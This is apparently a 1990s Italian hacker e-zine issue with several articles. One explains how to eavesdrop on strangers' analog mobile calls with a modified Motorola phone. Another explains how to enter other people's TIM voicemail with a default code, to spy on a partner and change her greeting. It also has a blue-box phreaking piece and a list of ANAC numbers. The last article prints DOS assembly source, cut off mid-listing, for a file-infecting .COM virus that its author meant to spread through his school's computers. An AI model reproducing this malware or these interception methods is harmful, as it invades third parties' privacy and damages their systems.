ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°ÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛÛÛÛ°°°ÛÛÛÛÛÛ°ÛÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°²
²°°ÛÛ²²²ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ²²ÛÛ°°°ÛÛ°°°°°ÛÛ²²²²ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛÛ°°ÛÛ°°ÛÛ°°°°°°°°²
²°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛ°°ÛÛÛÛÛ°°°°ÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛ°°°°ÛÛ°°ÛÛÛÛ°ÛÛ°°ÛÛ°°ÛÛÛÛ°°²
²°°ÛÛ°°°°°°°ÛÛ°°ÛÛ°°ÛÛ°ÛÛÛ°°°ÛÛ°°°°°ÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛ°ÛÛÛÛ°°ÛÛ°°°°ÛÛ°°²
²°°ÛÛ°°°°°°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°ÛÛÛÛÛÛ°ÛÛ°°°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°ÛÛÛÛÛÛÛÛ°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ ASCOLTARE LE CHIAMATE DEI CELLULARI ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Autore: Fusyllo
Consumo: un pacco di chewing gum Brooklyn
Musica ascoltata: quella che volete
Dedicato: a tutta la crew di NewBies


Eccoci qua come al solito... Cerchero' di spiegarvi come si ascoltano le
chiamate altrui.
Bisogna dire che con i gsm, che sono digitali, non posiamo ascoltare le
chiamate degli altri ma con i tacs che sono analogici e' possibile, infatti
con un normalissimo scanner radio e' possibile ascoltarle!!.
Io che ho un motorola so farlo solo con quello, e per questo dovete procurarvi
un telefonino Motorola.
Tutti i telefonini Motorola hanno una presa dove si ricarica il telefonino e
dove si possono fare molte altre cose.

Per trasformare il vostro telefono in una specie di scanner dovete spegnere
il telefonino, collegare il tondino sulla destra (massa) con i primi 5 piedini
(i piedini sarebbero questi : " = ").

Dovete usare una carta delle chewing gum Brooklyn (quella interna di
alluminio) piegata, potete farlo anche con la carta stagnola ma e' piu'
difficile.
Ora prendetre la carta e piegatela larga 1 cm circa cosi':

_____________________________________ ______________________________________
| | | |
| | | 2 |
| | | |
| 1 | |______________________________________|
| | ______________________________________
| | | 3 |
| | |______________________________________|
|_____________________________________|
____________________
| 4 |
|____________________|

Fatto??

Io preferisco la carta delle chewing gum perche' e' sottile, dura quindi non si
piega facilmente come la carta stagnola.

Questa e' la parte inferiore del telefonino:

Ora prendete la carta e infilatela in questo modo:


| Presa |
|______|_________________________|__________|
/ccccc\
/cccccc/
/cccccc/

c = Carta

Ora muovetela un po finche il telefonoino non si accende, togliete la carta e
aspettate qualche secondo e sul display compariranno dei numeri disposti
cosi':

23 25 65 23
256111

Se non succede niente dopo almeno 4 secondi ripete.

Digitate 08# .
A questo punto comparira' " Tac 5 '" digitate ancora 08#.

NOTA: Il numero cambia a seconda del telefonino ma di solito e' sempre 08#,
gli altri numeri sono 04# 05#, 06#, 07#, 08#.

Si sentira' un fruscio, digitate 111 altri due numeri a caso, cosi : 111??0#
(dove ??0 sono due numeri a caso e lo zero finale).
Fatelo piu' volte finche' non sentite la voce della povera persona che sta
telefonando su quella frequenza.
Potete cambiare frequenza rifacendo 111??0#.
Se sbagliate qualcosa nello scrivere le frequenze e compare la scritta ErrOrE
digitate 11#.
Le chiamate vanno su frequenze che hanno lo zero finale.
Frequenze dove troverete facilmente chiamate (e dove guardo sempre)sono:

111700#
111750#
111700#
111850#
111900#
111950#


NOTA: Ricordate che il cancelletto, #, e come il tasto Enter del computer e
dopo ogni comando lo dovete premere.

Se siete stufi di ascoltare e volete essere ascoltati ;-)) dovete spegnere e
riaccendere il tel e tutto come prima!!!

Se avete un Motorola un po' vecchiotto di quelli che hanno tre contatti alla
batteria dovete togliere la batteria, mettere una stagnola o la carta
alluminata della sigarette sul secondo e terzo contatto.
E poi tutto uguale: i numeri sul display, 08#, 08#, 111???#, ecc.

Spero che ci siate riusciti, se no riprovate sempre e fatemi sapere. ;-D
Buon ascolto!!! ;-D


fusyllo@usa.net Fusyllo

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ SEGRETERIA CELLULARI TIM ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

NOTA DI N0bodY88 = questo non e' un articolo ma una mail inviatami da un
newbies (orda del nb staff) che ci ha aiutato con questa
sua comunicazione di una cosa non so se da lui scoperta o
no, ma cmq x me e' una cosa nuova quindi ho deciso di
pubblicare la mail come se fosse un articolo (come sembra)
...che dire...spero che vi piaccia ;-)

Ciao, sono Velvet,

  
visto che il mio stato da lurker sta lentamente mutando in
"operatore interessato" (chiamiamolo cosi') ho voluto mandarvi sta mail per
dare il mio apporto alla conoscenza (magari non ve ne fate uno stracazzo di
quello che vi diro' ma almeno non potrete dire che non ci ho provato .... :))
Ma bando alle ciance e passiamo ai fatti :
quando chiamate un cellulare e vi risponde la segreteria telefonica o se
volete tenere controllata la vs. morosa, non appena la bellissima voce
metallica dice : "rispode 0-3 ..." provate a digitare 1111# , vi verra' chiesto
"inserite il codice ecc...." ridigitate 1111# a questo punto ascolterete gli
eventuali messaggi contenuti nella segreteria della persona chiamata.... :)
Inoltre se tornerete al "menu' principale" (premere 7 quando richiesto) potrete
cambiare le impostazioni della segreteria stessa (anche il messaggio di benvenuto).
Volete mettere quando qualcuno chiamera' il tipo, si attacca la segr. e invece
del solito messaggio (risponde 0-3-3.....) ci sara' "ma vaff&%&% testa di
ca&%$e' non mi rompere i cog&%e'&i"
:)

Questo metodo l'ho provato solo chiamando abbonamenti TIM (033x), con i
Telecom invece del codice viene richiesto il numero di tel.

Spero di esservi stato utile (e' una cazzata ma puo' essere utile e divertente)

Continuate cosi'

Greetings
from
VelveT


ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

<§§§§§§§§§§§§§§§§§§>
< >
< Blue box >
< VaFfa'99 >
< >
< >
<§§§§§§§§§§§§§§§§§§>

consumo: mezzo litro di coca-cola(quella del discount, qui si dice 3kg
100 lire ! )
musica ascoltata: Hit Mania Dance!
Dedicato a: DeBian (grazie) , NERvous , agli spp , e al NewBies staff


Ciao sono VaFfa, molti mi hanno chiesto l'origine
di questo nick (spesso aggiungendo dispreggiativi,
come ha fatto awgn aggiungendo 'nculo), ma il mio
nick ha origini un po' particolari, infatti tempo
fa' installatomi icq misi un nick a caso e si
formo la mitica parola di VaFfa(credevo che il nick
non servisse a niente ma......).Vabbe' ho sbandata un po'
dal titolo dell'articolo ma ora mi sono rimesso in carreggiata
quindi attenti a quello che dico!!!!!!!!(tutte cazzate?!?!?! ,ma!)
Innanzitutto chi di voi non ha mai sentito parlare di blue box?
Credo che ormai tutti hanno sentito questo fantastico nome!
Innanzi tutto vi dico che non si possa piu usare in italia,
poiche' sono state migliorate tecnologie , mettendo dei
filtri alle cabine!(della telekom). So per certo che lo si
possa usare la blue box nei paesi del terzo mondo, ma solo in locale,
quindi a chi conviene andare in quei paesi per boxa'? Credo nella mia
modesta opinione nessuno, ma ci sono tante menti malate come la mia
che farebbere questo e altro per non pagare la telekom!!
Un po di pausa(pranzo e torno!).......................musica di sottofondo.
...................................................................
........Tornato pranzato bene!Stanno pure per comincia' i simpson
vabbue'!
Allora per prima cosa bisogna costruirso questa maledetta blue box!
....Scusate un attimo vi dico perche' viene detta blue!Secondo voi perche'?
pausa riflessione.....................................dho dho dho non lo
sapete? Ve lo dico io , ve lo dico! perche' secondo fonti attendibili
la prima box trovata era di colore blue!......
Io vi ho allegato degli schemini per questa blue box se siete bravi
riuscite a costruirla senno vi arrangiate!!!!!!!!!
Visto che tra qualche giorno Padre Pio sara' beato(sono di San Giovanni
Rotondo, se volete venire fatemi un fischio) , vi allego un programma
che emula la blue box(la soluzione piu facile e' la meno buona!! ricordatevelo)
Pausa cotruzione blue box..................................dopo tre anni.....
...................... Finalmente ci siete riusciti non ci speravo piu!
Allora mo vi spiego il funzionamento della blue box.
Consiste nell'imitare i toni del servizio della linea a cornetta alzata,
quindi la centralina telefonica viene ingannata e' KaB00m!!
Era molto e dico molto sicuro usare questo metodo (a quanto ne sappia
era legale, cioe' non c'era legge contro questo reato!), ed infatti
e stato usato moltissimo che la telekom ha rimediato.
Alcune persono utilizzavano questo metodo per parlare con i loro
parenti Americani , altri (secondo me il metodo piu disgustoso) la
usavano per scaricarsi software dalle bbs di oltreoceano, veniva usata
un po come un giocattolo, senza sapere che era frutto di grande lavoro!
La Blue box era arrivata in ogni casa, poiche' molti l'hanno venduta al
popolo(diciamo al mercato hihihihiihihihihhihihihhi) quindi i provvedimenti
sono stati immediati!
Gia' che ci sono vi dico che la prima frequenza a esser stata scoperta fu
la mitica 2600 (ora capirete tutti i ng con questo numero!).

Piccola perentesi sulla telekom e come fregarla = Per me le tariffe telekom
sono abbastanza buone io paga 30k -40k ogni due e' sto collegato in media un
ora al gionro! Al momento non ci sono metodi per fregare questa telekom, ma
metodi per fregarci tra di noi ( tipo green che sono pagati dalle aziende,
quindi chi li usa non fa danno alla telekom ma alle aziende)e vi do un
consiglio non usate green!!!! I green sono tutti loggati e' insicuri!!!!!!
Poi non basta trovare i green ma ci vogliono anche le pass che sono la cosa
piu difficile da trova'!
io vi saluto
email per le vostre lamentele! a.piano@usa.net

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ BOXA DI QUI, BOXA DI LA' ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Magari vi son utili raccatattati un poco ovunque e verificati
Thanks for the file AltStopper

NPA ANAC number Approximate Geographic area
--- --------------- ---------------------------------------------
201 958 Hackensack/Jersey City/Newark/Paterson, NJ
202 811 District of Columbia
203 970 CT
205 300-222-2222 Birmingham, AL
205 300-555-5555 Many small towns in AL
205 300-648-1111 Dora, AL
205 300-765-4321 Bessemer, AL
205 300-798-1111 Forestdale, AL
205 300-833-3333 Birmingham
205 557-2311 Birmingham, AL
205 811 Pell City/Cropwell/Lincoln, AL
205 841-1111 Tarrant, AL
205 908-222-2222 Birmingham, AL
206 411 WA (Not US West)
207 958 ME
209 830-2121 Stockton, CA
209 211-9779 Stockton, CA
210 830 Brownsville/Laredo/San Antonio, TX
N 210 951 Brownsville/Laredo/San Antonio, TX (GTE)
212 958 Manhattan, NY
213 114 Los Angeles, CA (GTE)
213 1223 Los Angeles, CA (Some 1AESS switches)
213 211-2345 Los Angeles, CA (English response)
213 211-2346 Los Angeles, CA (DTMF response)
213 760-2??? Los Angeles, CA (DMS switches)
213 61056 Los Angeles, CA
214 570 Dallas, TX
214 790 Dallas, TX (GTE)
214 970-222-2222 Dallas, TX
214 970-611-1111 Dallas, TX (Southwestern Bell)
215 410-xxxx Philadelphia, PA
215 511 Philadelphia, PA
215 958 Philadelphia, PA
216 200-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH
216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH
216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH
217 200-xxx-xxxx Champaign-Urbana/Springfield, IL
219 550 Gary/Hammond/Michigan City/Southbend, IN
219 559 Gary/Hammond/Michigan City/Southbend, IN
N 301 2002006969 Hagerstown/Rockville, MD
301 958-9968 Hagerstown/Rockville, MD
303 958 Aspen/Boulder/Denver/Durango/Grand Junction
/Steamboat Springs, CO
N 305 200-555-1212 Ft. Lauderdale/Key West/Miami, FL
N 305 200200200200200 Ft. Lauderdale/Key West/Miami, FL
N 305 780-2411 Ft. Lauderdale/Key West/Miami, FL
310 114 Long Beach, CA (On many GTE switches)
310 1223 Long Beach, CA (Some 1AESS switches)
310 211-2345 Long Beach, CA (English response)
310 211-2346 Long Beach, CA (DTMF response)
312 200 Chicago, IL
312 290 Chicago, IL
312 1-200-8825 Chicago, IL (Last four change rapidly)
312 1-200-555-1212 Chicago, IL
313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI
313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI
313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI
313 200200200200200 Ann Arbor/Dearborn/Detroit, MI
314 410-xxxx# Columbia/Jefferson City/St.Louis, MO
315 953 Syracuse/Utica, NY
315 958 Syracuse/Utica, NY
315 998 Syracuse/Utica, NY
317 310-222-2222 Indianapolis/Kokomo, IN
317 559-222-2222 Indianapolis/Kokomo, IN
317 743-1218 Indianapolis/Kokomo, IN
334 5572411 Montgomery, AL
334 5572311 Montgomery, AL
401 200-200-4444 RI
401 222-2222 RI
402 311 Lincoln, NE
404 311 Atlanta, GA
N 770 780-2311 Atlanta, GA
404 940-xxx-xxxx Atlanta, GA
404 990 Atlanta, GA
405 890-7777777 Enid/Oklahoma City, OK
405 897 Enid/Oklahoma City, OK
U 407 200-222-2222 Orlando/West Palm Beach, FL (Bell South)
N 407 520-3111 Orlando/West Palm Beach, FL (United)
408 300-xxx-xxxx San Jose, CA
408 760 San Jose, CA
408 940 San Jose, CA
409 951 Beaumont/Galveston, TX
409 970-xxxx Beaumont/Galveston, TX
410 200-6969 Annapolis/Baltimore, MD
N 410 200-200-6969 Annapolis/Baltimore, MD
410 200-555-1212 Annapolis/Baltimore, MD
410 811 Annapolis/Baltimore, MD
412 711-6633 Pittsburgh, PA
412 711-4411 Pittsburgh, PA
412 999-xxxx Pittsburgh, PA
413 958 Pittsfield/Springfield, MA
413 200-555-5555 Pittsfield/Springfield, MA
414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI
415 200-555-1212 San Francisco, CA
415 211-2111 San Francisco, CA
415 2222 San Francisco, CA
415 640 San Francisco, CA
415 760-2878 San Francisco, CA
415 7600-2222 San Francisco, CA
419 311 Toledo, OH
N 423 200-200-200 Chatanooga, Johnson City, Knoxville , TN
N 501 511 AR
502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY
502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY
503 611 Portland, OR
503 999 Portland, OR (GTE)
504 99882233 Baton Rouge/New Orleans, LA
504 201-269-1111 Baton Rouge/New Orleans, LA
504 998 Baton Rouge/New Orleans, LA
504 99851-0000000000 Baton Rouge/New Orleans, LA
508 958 Fall River/New Bedford/Worchester, MA
508 200-222-1234 Fall River/New Bedford/Worchester, MA
508 200-222-2222 Fall River/New Bedford/Worchester, MA
508 26011 Fall River/New Bedford/Worchester, MA
509 560 Spokane/Walla Walla/Yakima, WA
510 760-1111 Oakland, CA
512 830 Austin/Corpus Christi, TX
512 970-xxxx Austin/Corpus Christi, TX
N 513 380-55555555 Cincinnati/Dayton, OH
515 5463 Des Moines, IA
515 811 Des Moines, IA
516 958 Hempstead/Long Island, NY
516 968 Hempstead/Long Island, NY
517 200-222-2222 Bay City/Jackson/Lansing, MI
517 200200200200200 Bay City/Jackson/Lansing, MI
518 511 Albany/Schenectady/Troy, NY
518 997 Albany/Schenectady/Troy, NY
518 998 Albany/Schenectady/Troy, NY
N 540 211 Roanoke, VA (GTE)
N 540 311 Roanoke, VA (GTE)
N 541 200 Bend, OR
603 200-222-2222 NH
606 997-555-1212 Ashland/Winchester, KY
606 711 Ashland/Winchester, KY
607 993 Binghamton/Elmira, NY
609 958 Atlantic City/Camden/Trenton/Vineland, NJ
610 958 Allentown/Reading, PA
610 958-4100 Allentown/Reading, PA
612 511 Minneapolis/St.Paul, MN
614 200 Columbus/Steubenville, OH
614 571 Columbus/Steubenville, OH
615 200200200200200 Chatanooga/Knoxville/Nashville, TN
615 2002222222 Chatanooga/Knoxville/Nashville, TN
615 830 Nashville, TN
616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI
617 200-222-1234 Boston, MA
617 200-222-2222 Boston, MA
617 200-444-4444 Boston, MA (Woburn, MA)
617 220-2622 Boston, MA
617 958 Boston, MA
618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL
618 930 Alton/Cairo/Mt.Vernon, IL
619 211-2001 San Diego, CA
619 211-2121 San Diego, CA
N 659 220-2622 Newmarket, NH
N 703 211 VA
N 703 511-3636 Culpeper/Orange/Fredericksburg, VA
703 811 Alexandria/Arlington/Roanoke, VA
704 311 Asheville/Charlotte, NC
N 706 940-xxxx Augusta, GA
707 211-2222 Eureka, CA
708 1-200-555-1212 Chicago/Elgin, IL
708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly)
708 200-6153 Chicago/Elgin, IL
708 724-9951 Chicago/Elgin, IL
713 380 Houston, TX
713 970-xxxx Houston, TX
713 811 Humble, TX
N 713 380-5555-5555 Houston, TX
714 114 Anaheim, CA (GTE)
714 211-2121 Anaheim, CA (PacBell)
714 211-2222 Anaheim, CA (Pacbell)
N 714 211-7777 Anaheim, CA (Pacbell)
716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
717 958 Harrisburg/Scranton/Wilkes-Barre, PA
718 958 Bronx/Brooklyn/Queens/Staten Island, NY
N 770 940-xxx-xxxx Marietta/Norcross, GA
N 770 780-2311 Marietta/Norcross, GA
802 2-222-222-2222 Vermont
802 200-222-2222 Vermont
802 1-700-222-2222 Vermont
802 111-2222 Vermont
N 804 990 Virginia Beach, VA
805 114 Bakersfield/Santa Barbara, CA
805 211-2345 Bakersfield/Santa Barbara, CA
805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF)
805 830 Bakersfield/Santa Barbara, CA
806 970-xxxx Amarillo/Lubbock, TX
810 200200200200200 Flint/Pontiac/Southfield/Troy, MI
N 810 311 Pontiac/Southfield/Troy, MI
812 410-555-1212 Evansville, IN
813 311 Ft. Meyers/St. Petersburg/Tampa, FL
N 815 200-3374 Crystal Lake, IL
N 815 270-3374 Crystal Lake, IL
N 815 770-3374 Crystal Lake, IL
815 200-xxx-xxxx La Salle/Rockford, IL
815 290 La Salle/Rockford, IL
817 211 Ft. Worth/Waco, TX
817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell)
818 1223 Pasadena, CA (Some 1AESS switches)
818 211-2345 Pasadena, CA (English response)
818 211-2346 Pasadena, CA (DTMF response)
N 860 970 CT
903 970-611-1111 Tyler, TX
904 200-222-222 Jackonsville/Pensacola/Tallahasee, FL
906 1-200-222-2222 Marquette/Sault Ste. Marie, MI
907 811 AK
908 958 New Brunswick, NJ
N 909 111 Riverside/San Bernardino, CA (GTE)
910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY
915 970-xxxx Abilene/El Paso, TX
N 916 211-0007 Sacramento, CA (Pac Bell)
916 461 Sacramento, CA (Roseville Telephone)
919 200 Durham, NC
919 711 Durham, NC
N 954 200-555-1212 Ft. Lauderdale, FL
N 954 200200200200200 Ft. Lauderdale, FL
N 954 780-2411 Ft. Lauderdale, FL

Canada:
204 644-4444 Manitoba
306 115 Saskatchewan
403 311 Alberta, Yukon and N.W. Territory
403 908-222-2222 Alberta, Yukon and N.W. Territory
403 999 Alberta, Yukon and N.W. Territory
416 997-xxxx Toronto, Ontario
506 1-555-1313 New Brunswick
514 320-xxxx Montreal, Quebec
U 514 320-1232 Montreal, Quebec
U 514 320-1223 Montreal, Quebec
U 514 320-1233 Montreal, Quebec
519 320-xxxx London, Ontario
604 1116 British Columbia
604 1211 British Columbia
604 211 British Columbia
613 320-2232 Ottawa, Ontario
705 320-4567 North Bay/Saulte Ste. Marie, Ontario
N 819 320-1112 Quebec

Australia:
+61 03-552-4111 Victoria 03 area
+612 19123 All major capital cities
+612 11544

United Kingdom:
175

Israel:
110
ZeroCool
Provoces the best you will die like a slave

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°°°°°ÛÛ°°°°°°°ÛÛ°°°ÛÛ°°°ÛÛÛÛÛÛÛ°°°ÛÛ°°°ÛÛ°°°°ÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°ÛÛ°°°°°ÛÛ°°°°ÛÛ°°°ÛÛ°°°ÛÛ°°°ÛÛ°°°ÛÛ°°°°ÛÛ°°°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°ÛÛ°°°ÛÛ°°°°°ÛÛ°°°ÛÛÛÛÛÛÛ°°°ÛÛ°°°ÛÛ°°°°ÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°ÛÛ°ÛÛ°°°°°°ÛÛ°°°ÛÛ°ÛÛ°°°°°ÛÛ°°°ÛÛ°°°°°°°°°ÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°°°°°°°°°°ÛÛÛ°°°°°°°ÛÛ°°°ÛÛ°°ÛÛÛ°°°ÛÛÛÛÛÛÛ°°°°ÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ FILOSOFIA DEL VIRER MODERNO ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

By Caos83

All'alba delle tecnologie elettroniche non c'erano quei cazzo di sistemi
operativi che rompevano le palle come Win95/98/NT. C'era il Dos oppure Unix
per le macchine che dovevano gestire una rete.
Oggi invece, per colpa dello stramaledettissimo Bill Gates, ci ritroviamo con
un S.O. che fa come cazzo gli pare, e quando meno te lo aspetti, anche se
avvii la calcolatrice, ti ritrovi un'errore di protezione generale, o qualche
altra stronzata del genere.
Inoltre, con l'avvento della FAT32, i vecchi boot-virus non sono pi— in grado
di infettare efficentemente i dischi.
Allora, le cose sono due: o si cominciano a scrivere virus esplicitamente per
Windows o si intraprende un'altra strada che secondo me Š pi— facile, pi—
divertente, e nello stesso tempo pi— cattiva.
Il punto Š IMPEDIRE CHE L'UTENTE RIESCA AD AVVIARE WINDOWS.
Per far ci• basta costruire un appending Virus che non permetta di avviarlo.
Premetto che questo virus Š nato dalla rabbia che nutro verso la mia scuola,
dove ci saranno 30 computer e non Š possibile utilizzarne neanche uno.
Inoltre i docenti e gli alunni, non sanno fare un cazzo, e le lezioni si ba-
sano su "come usare windows". Ma se Š capace anche mia nonna!!!!.
Allora ho pensato di infettare buona parte dei computer, non certo per
danneggiarli(sarebbe da lamer), ma per dar loro una lezione.
La spiegazione del sorgente Š dopo il virus.

; NewBies.asm
; Virus dimostrativo compilabile con il turbo assembler
; Non mi assumo alcuna responsabilit… di un uso improprio di questo file.
; Il virus ed i doc. sono puramente a carattere informativo.
Rombios segment at 0F000h
org 0FFF0h
Reset label far ;segmento che punta ad un jmp per resettare il computer
Rombios ends

code segment byte public
assume cs:code,ds:code,es:code,ss:code

org 100h ;file .COM

start:
db 0E9h,0,0 ;Salta al prox comando

virus:
call inizio ;Salva l'indirizzo nello stack
inizio:
pop bp ;Setta BP
sub bp,offset inizio

mov dx,0040h
mov es,dx
or byte ptr es:[17h],01000000b

lea si,[bp+offset oldjump] ;Indirizzo vecchio
mov di,100h

;Salvo dove metterlo
push di ;cosi possiamo ritornare
movsb
movsb
movsb

lea dx,[bp+offset dta] ;Indirizzo del nuovo DTA

mov ah,1ah ;setta il DTA!!
int 21h
call Change_Dir

lea dx,[bp+offset comfilespec]
call findfirst ;cerca e infetta i file .com

mov ah,0Eh
lea si,[bp + Intro] ;SI punta al testo da scrivere
call disp
lea si,[bp + Intro2]
call disp
call Questions

mov dx,80h ;Indirizzo del DTA originale
;Lo rimetto dov'era
mov ah,1ah ;setta il DTA!!
int 21h

retn
;Ritorno al pgm
Change_Dir:
mov ah,3bh
lea dx,[bp+offset WinDir]
int 21h
ret

findfirst:
mov ah,4eh ;trova il primo file
mov cx,7 ;con questi attributi

findnext:
int 21h ;Trovo il prox
jc quit ;Se non trovo niente smetto
cld
lea si,[bp+dta+30]
lea di,[bp+noinfex]
mov cx,10
repe cmpsb
jz Findnext2
call infection ;Altrimenti infetto

Findnext2:
mov ah,4fh ;Cerco il prox
jmp findnext ;Ciclo

quit:
ret ;stop!

infection:
mov ax,3d00h ;Apro il file in lettura
call open


mov cx,1ah
lea dx,[bp+offset buffer] ;salvo i dati
mov ah,3fh ;Leggo
int 21h

mov ah,3eh ;chiudo il file
int 21h


CheckCom:
mov bx,[bp+offset dta+1ah] ;Prelevo la dimensione
mov cx,word ptr [bp+buffer+1] ;prelevo l'indirizzo del salto
add cx,eof-virus+3 ;e ci sommo la lunghezza del
;virus

cmp bx,cx ;controllo dimensione
jz quitinfect
jmp infectcom

quitinfect:
ret

InfectCom:
sub bx,3 ;setto per il nuovo salto
lea di,[bp+oldjump]
lea si,[bp+buffer]
movsw
movsb
mov [bp+buffer],byte ptr 0e9h
mov word ptr [bp+buffer+1],bx ;salvo

mov cx,3 ;numero di byte da scrivere

jmp finishinfection
FinishInfection:
push cx ;salvo il numero di byte
;da scrivere
xor cx,cx ;azzero attributi
call attributes

mov al,2 ;apro il file in lett/scritt
call open


lea dx,[bp+buffer] ;dx punta ai dati
pop cx ;cx=numero byte
mov ah,40h ;scrivo
int 21h
jc closefile

mov al,02 ;sposto il puntatore in fondo
Call move_fp


mov cx,eof-virus ;dimensione virus
